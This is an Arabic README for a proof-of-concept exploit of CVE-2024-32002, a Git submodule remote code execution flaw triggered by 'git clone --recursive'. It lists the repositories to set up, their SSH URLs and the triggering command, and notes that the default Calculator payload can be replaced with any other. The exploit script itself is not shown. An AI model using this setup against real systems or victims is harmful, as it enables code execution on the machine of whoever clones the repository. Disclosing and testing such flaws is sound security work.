
POC
يحتوي هذا المستودع على إثبات مفهوم (PoC) للثغرة CVE-2024-32002، وهي ثغرة تنفيذ برمجيات عن بُعد (RCE) في الوحدات الفرعية لـ Git. يوضح الاستغلال كيف يمكن تشغيل حمولة خبيثة عبر استنساخ متكرر لمستودع Git.
قبل تشغيل إثبات المفهوم، أنشئ المستودعات التالية على خادم Git البعيد أو غيّر الأسماء كما تشاء:
hulk.gitsubmod.gitsmash.gitقم بتحديث مسارات المستودعات في سكربت إثبات المفهوم وفقًا لذلك إذا غيّرت الأسماء.
يستغل هذا الثغرة الوحدات الفرعية في Git لتنفيذ حمولة على النظام الهدف عند استنساخ المستودع بشكل متكرر. تم اختبار إثبات المفهوم هذا على macOS.
HULK_REPO="[email protected]:safebuffer/hulk.git"
pullme_REPO="[email protected]:safebuffer/submod.git"
# Final Exploit Repo
SMASH_REPO="[email protected]:safebuffer/smash.git"
لتفعيل الاستغلال، شغّل السكربت poc.sh ثم نفّذ الأمر التالي:
git clone --recursive $SMASH_REPO
الحمولة الافتراضية في إثبات المفهوم هذا تفتح تطبيق الآلة الحاسبة على macOS. يمكنك تغييرها إلى أي حمولة تفضلها.
/System/Applications/Calculator.app/Contents/MacOS/Calculator
إثبات المفهوم هذا لأغراض تعليمية فقط. استخدمه بمسؤولية وعلى الأنظمة التي لديك إذن صريح لاختبارها فقط. قد يؤدي إساءة استخدامه إلى عواقب وخيمة.